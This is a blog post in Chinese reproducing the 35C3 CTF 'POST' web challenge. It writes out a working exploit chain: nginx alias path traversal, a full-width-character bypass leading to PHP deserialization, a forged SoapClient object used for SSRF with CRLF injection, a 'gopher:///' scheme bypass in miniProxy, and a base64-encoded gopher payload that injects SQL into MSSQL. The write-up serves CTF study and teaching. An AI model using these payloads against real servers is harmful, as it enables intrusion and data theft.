前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >35c3 POST题目复现

35c3 POST题目复现

作者头像
用户1879329
发布2023-02-27 15:24:36
1.4K0
发布2023-02-27 15:24:36
举报
文章被收录于专栏:安全的矛与盾

最近有点忙,所以拖了这么久才来复现这个题目,题目官方已经给了wp和docker环境,https://github.com/eboda/35c3/可以本地搭建一下。

题目的描述如下:

代码语言:javascript
复制
Go make some posts http://35.207.83.242/
Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

0x1 nginx配置问题,导致文件文件读取

代码语言:javascript
复制
http http://127.0.0.1:8000/uploads../

可以列取web目录,发现有个default.backup,是nginx的配置文件,发现开了两个web服务,一个在80端口,一个在8080端口的只允许本地访问。

代码语言:javascript
复制
server {
    listen 80;
    access_log  /var/log/nginx/example.log;

    server_name localhost;

    root /var/www/html;

    location /uploads {
        autoindex on;
        alias /var/www/uploads/;
    }

    location / {
        alias /var/www/html/;
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

    location /inc/ {
        deny all;
    }
}

server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }
}

下载下来所有的代码,进行审计

0x2 post服务的任意类伪造

先下载下来 html 目录post服务的代码,发现基本功能如下:

1.创建post的功能:

代码语言:javascript
复制
#filename:default.php 

if (isset($_POST["title"])) {
        $attachments = array();
        if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {
            
            $folder = sha1(random_bytes(10));
            mkdir("../uploads/$folder");
            for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
                if ($_FILES["attach"]["error"][$i] !== 0) continue;
                $name = basename($_FILES["attach"]["name"][$i]);
                move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
                $attachments[] = new Attachment("/uploads/$folder/$name");
            }
        }
        $post = new Post($_POST["title"], $_POST["content"], $attachments);
        $post->save();
    }

2.显示post的功能

代码语言:javascript
复制
#filename:default.php 

    $posts = Post::loadall();
    if (empty($posts)) {
        echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
    } else {
        echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
    }

    foreach($posts as $p) {
        echo $p;
        echo "<br><br>";
    }

与这个功能相关两个类,PostAttachment类的代码如下:

代码语言:javascript
复制

#filename:post.php
class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct($url) {
        $this->url = $url;
        $this->mime = (new finfo)->file("../".$url);
        if (substr($this->mime, 0, 11) == "Zip archive") {
            $this->mime = "Zip archive";
            $this->za = new ZipArchive;
        }
    }

    public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }

}

class Post {
    private $title = NULL;
    private $content = NULL;
    private $attachment = NULL;
    private $ref = NULL;
    private $id = NULL;


    public function __construct($title, $content, $attachments="") {
        $this->title = $title;
        $this->content = $content;
        $this->attachment = $attachments;
    }

    public function save() {
        global $USER;
        if (is_null($this->id)) {
            DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", 
                array($USER->uid, $this->title, $this->content, $this->attachment));
        } else {
            DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
                array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
        }
    }

    public static function truncate() {
        global $USER;
        DB::query("DELETE FROM posts WHERE userid = ?", array($USER->uid));
    }

    public static function load($id) {
        global $USER;
        $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
            array($USER->uid, $id));
        if (!$res) die("db error");
        $res = $res[0];
        $post = new Post($res["title"], $res["content"], $res["attachment"]);
        $post->id = $id;
        return $post;
    }

    public static function loadall() {
        global $USER;
        $result = array();
        $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
        if (!$posts) return $result;
        foreach ($posts as $p) {
            $result[] = Post::load($p["id"]);
        }
        return $result;
    }

    public function __toString() {
        $str = "<h2>{$this->title}</h2>";
        $str .= $this->content;
        $str .= "<hr>Attachments:<br><il>";
        foreach ($this->attachment as $attach) {
            $str .= "<li>$attach</li>";
        }
        $str .= "</il>";
        return $str;
    }
}
0x2.1 数据存入数据库的过程

着重看一下Post类的save操作:

代码语言:javascript
复制
#filename:post.php

public function save() {
    global $USER;
    if (is_null($this->id)) {
        DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", 
            array($USER->uid, $this->title, $this->content, $this->attachment));
    } else {
        DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
            array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
    }
}

这里需要注意的是 $this->attachment 是一个包含Attachment类实例的数组,这个类数组在写数据库的时候是怎么处理的? 继续跟踪DB类的insert和query操作:

代码语言:javascript
复制
#filename:db.php

    public static function query($sql, $values=array()) {
        if (!is_array($values)) $values = array($values);
        if (!DB::$init) DB::initialize();
        $res = sqlsrv_query(DB::$con, $sql, $values);
        if ($res === false) DB::error();

        return DB::retrieve_values($res);
    }

    public static function insert($sql, $values=array()) {
        if (!is_array($values)) $values = array($values);
        if (!DB::$init) DB::initialize();

        $values = DB::prepare_params($values);

        $x = sqlsrv_query(DB::$con, $sql, $values);
        if (!$x) throw new Exception;
    }

看到 insert 函数里调用了 prepare_params,看一下代码:

代码语言:javascript
复制
#filename:db.php

private static function prepare_params($params) {
    return array_map(function($x){
        if (is_object($x) or is_array($x)) {
            return '$serializedobject$' . serialize($x);
        }

        if (preg_match('/^\$serializedobject\$/i', $x)) {
            die("invalid data");
            return "";
        }

        return $x;
    }, $params);
}

看到这里就明白了,插入数据库之前,对object数据或者array数据进行了一次序列化,并在前面加上了字符串serializedobject作为标志。

但是DB类的query函数中并没有调用prepare_params函数,所以我曾一度认为漏洞点在这里

代码语言:javascript
复制
#filename: post.php

} else {
    DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
        array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}

现在看来难道是出题人这里写错了,不过好像永远不会执行到这里?

0x2.2 数据读出数据库的过程

看第2个功能,显示post的功能,Postloadall函数:

代码语言:javascript
复制
#filename:post.php
    public static function load($id) {
        global $USER;
        $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
            array($USER->uid, $id));
        if (!$res) die("db error");
        $res = $res[0];
        $post = new Post($res["title"], $res["content"], $res["attachment"]);
        $post->id = $id;
        return $post;
    }

    public static function loadall() {
        global $USER;
        $result = array();
        $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
        if (!$posts) return $result;
        foreach ($posts as $p) {
            $result[] = Post::load($p["id"]);
        }
        return $result;
    }

load函数调用了DB::query函数,DB::query函数会调用retrieve_values进行反序列化:

代码语言:javascript
复制
#filename:db.php 

private static function retrieve_values($res) {
    $result = array();
    while ($row = sqlsrv_fetch_array($res)) {
        $result[] = array_map(function($x){
            return preg_match('/^\$serializedobject\$/i', $x) ?
                unserialize(substr($x, 18)) : $x;
        }, $row);
    }
    return $result;
}

可以看到,这里把从数据库中取出的所有字段中查找serializedobject标志,如果找到了就把标志后面的部分进行反序列化。这里关键词是所有字段,如果我们可以伪造以serializedobject开头的字符串,存入数据库中,就可以造成任意类伪造了。

但是在数据存入数据库之前会检查数据中是否有serializedobject,如果有就不允许写入数据库:

代码语言:javascript
复制
#filename:db.php

private static function prepare_params($params) {
    return array_map(function($x){
        if (is_object($x) or is_array($x)) {
            return '$serializedobject$' . serialize($x);
        }

        if (preg_match('/^\$serializedobject\$/i', $x)) { 
            die("invalid data");
            return "";
        }

        return $x;
    }, $params);
}

看了官方的WP,才知道这里有个小trick:

Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.

这里说的0xEF 0xBC 0x84其实说的UTF-8编码,对应的二进制是1110 1111 1011 1100 1000 0100,根据unicode和utf8的转换规则,这里表示的unicode字符应该是1111 1111 0000 0100,即0xFF04,查一下unicode表,表示的字符是,是$的全角字符。

mssql会把这种全角字符转化为对应的ascii码,所以0xFF21~0xFF5A这个范围内的字符都是可以被转换的,可以利用这个trick绕过这个检查。

其实这种数据库关于字符的trick,在mysql中也不少,例如:

代码语言:javascript
复制
select username from table where username='admin%2c'; 
select username from table where username='Àdmin'; 

-- 这两个sql语句都可能查出admin的记录,但是原理不一样,可以自己去看p师傅的博客或者小密圈。
𝍠 𝍡  𝍣 𝍥  -- 这几个字符会引起截断

所以插入post的时候,在content字段伪造$serializedobject$序列化的数据,在显示post的时候就会成功的反序列化出任意类。

0x3 反序列化触发SSRF

可以进行任意类伪造了,但是伪造什么类呢,根据/miniProxy目录里面的代码,很容易想到需要伪造SoapClient,进行SSRP的,接下来就是找怎么触发SoapClient来发请求了。

看展示post的代码:

代码语言:javascript
复制
#filename:default.php
foreach($posts as $p) {
    echo $p;
    echo "<br><br>";
}

这里的$pPost类的示例,所以会调用Post类的__toString函数:

代码语言:javascript
复制
#filename:post.php
public function __toString() {
    $str = "<h2>{$this->title}</h2>";
    $str .= $this->content;
    $str .= "<hr>Attachments:<br><il>";
    foreach ($this->attachment as $attach) {
        $str .= "<li>$attach</li>";
    }
    $str .= "</il>";
    return $str;
}

在这里展示$this->attachment的时候,又会调用Attachment__toString函数:

代码语言:javascript
复制
#filename:post.php

public function __toString() {
    $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
    if (!is_null($this->za)) {
        $this->za->open("../".$this->url);
        $str .= "with ".$this->za->numFiles . " Files.";
    }
    return $str. ")";
}

注意这里的this->za->open()操作,如果我们伪造

所以利用思路是,伪造contentAttachment实例,其中的$this->za是一个SoapClient实例,那么在展示content的时候就会触发Attachment__toString操作,从而触发SoapClient__call函数。

poc如下:

代码语言:javascript
复制
class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct() {
        $this->url = "test";
        $this->mime = "test"
            $this->za = new SoapClient(null,array('location' => "http://127.0.0.1:9999",
            'uri'=> "http://test-uri/"));
        }
}

$attachment = new Attachment();
echo '$serializedobject$'.serialize($attachment);
http://pic.wonderkun.cc/uploads/2019/01/2019-01-10-14-36-20.png
http://pic.wonderkun.cc/uploads/2019/01/2019-01-10-14-36-20.png

看到发送的请求,如下:

http://pic.wonderkun.cc/uploads/2019/01/2019-01-10-14-36-57.png
http://pic.wonderkun.cc/uploads/2019/01/2019-01-10-14-36-57.png

0x4 利用miniProxy

看miniProxy的nginx配置文件:

代码语言:javascript
复制
server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }
}

miniProxy只接受GET请求,但是Soapclient发送的请求,默认是POST的,这个其实很好绕过,在这篇文章http://wonderkun.cc/index.html/?p=691中我就讲过这个利用SoapClient类的CRLF漏洞,发起长连接的技巧,这里刚好用上了。

下面主要看一下怎么利用miniProxy了,审计一下miniProxy的代码

看下面这一段:

代码语言:javascript
复制
if (isset($_POST["miniProxyFormAction"])) {
  $url = $_POST["miniProxyFormAction"];
  unset($_POST["miniProxyFormAction"]);
} else {
  $queryParams = Array();
  parse_str($_SERVER["QUERY_STRING"], $queryParams);
  //If the miniProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it.
  if (isset($queryParams["miniProxyFormAction"])) {
    $formAction = $queryParams["miniProxyFormAction"];
    unset($queryParams["miniProxyFormAction"]);
    $url = $formAction . "?" . http_build_query($queryParams);
  } else {
    $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);
  }
}

可以看到在只能对miniProxy发GET请求的情况下的$url有两种来源方式:

代码语言:javascript
复制
1. $url = $formAction . "?" . http_build_query($queryParams);
2. $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);

下面对$url进行了一些检查,只允许http和https协议

代码语言:javascript
复制
} else if (strpos($url, ":/") !== strpos($url, "://")) {
    //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
    //See https://github.com/joshdick/miniProxy/pull/14
    $pos = strpos($url, ":/");
    $url = substr_replace($url, "://", $pos, strlen(":/"));
}
$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
  //Assume that any supplied URLs starting with // are HTTP URLs.
  if (strpos($url, "//") === 0) {
    $url = "http:" . $url;
  }
} else if (!preg_match("/^https?$/i", $scheme)) {
    die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}

这个代码明显少处理一种情况,就是当scheme为空,并且url不是以//开头的情况。明显写代码人的认为这种情况的

那有没有这样的url,是libcurl可以发送出请求的,并且经过parse_url处理返回的$scheme还是空的呢? 当然是有的,在这个题目https://github.com/wonderkun/CTF_web/blob/master/php4fun/challenge9.php中我们就遇到过。

代码语言:javascript
复制
php > var_dump(parse_url("http:///www.baidu.com"));
bool(false)

所以可以利用/miniProxy.php?gopher:///来绕过协议的限制,向mssql发送数据。

0x5 利用gopher协议打mssql

最后就是利用gopher来打mssql了,因为mssql的通讯协议不想自己抓了,用官方的exploit.php。 需要先找到自己的uid:

代码语言:javascript
复制
#filename:bootstrap.php

} else if (isset($_SESSION["username"])) {
    $USER = new User($_SESSION["username"], $_SESSION["password"]);
    if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER);
}

添加一个DEBUG头,就看到自己的uid了。

http://pic.wonderkun.cc/uploads/2019/01/2019-01-10-15-52-35.png
http://pic.wonderkun.cc/uploads/2019/01/2019-01-10-15-52-35.png

然后构造payload:

代码语言:javascript
复制
php exploit.php  "insert into posts(userid,title,content,attachment) values (1,\"test\",(select flag
from flag.flag),\"test\");"

JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2x
vY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdX
Nlcl9hZ2VudCI7czoxMzQ5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJ
TAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAy
JTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTA
wJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMC
VBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwM
CUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDBy
JTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDB
jJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMS
UwMSUwMCVGQyUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwc
yUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUy
QyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTA
wbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAxJTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMC
UyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMjAlMDBmJTAwciUwMG8lMDBtJTAwJTIwJTAwZiUwMGwlMDBhJ
TAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMCUyOSUwMCUzQiUwMCUzQiUwMC0lMDAtJTAwJTIw
JTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=

用python发送这个base64解码之后的content,就可以打到flag了。

去年34c3CTF的时候出SSRF打mysql,35c3CTF的时候出SSRF打sql server 。c3CTF真是太真实了,大胆猜一下,明年打哪个数据库?

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-01-102,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1 nginx配置问题,导致文件文件读取
  • 0x2 post服务的任意类伪造
    • 0x2.1 数据存入数据库的过程
      • 0x2.2 数据读出数据库的过程
      • 0x3 反序列化触发SSRF
      • 0x4 利用miniProxy
      • 0x5 利用gopher协议打mssql
      相关产品与服务
      文件存储
      文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档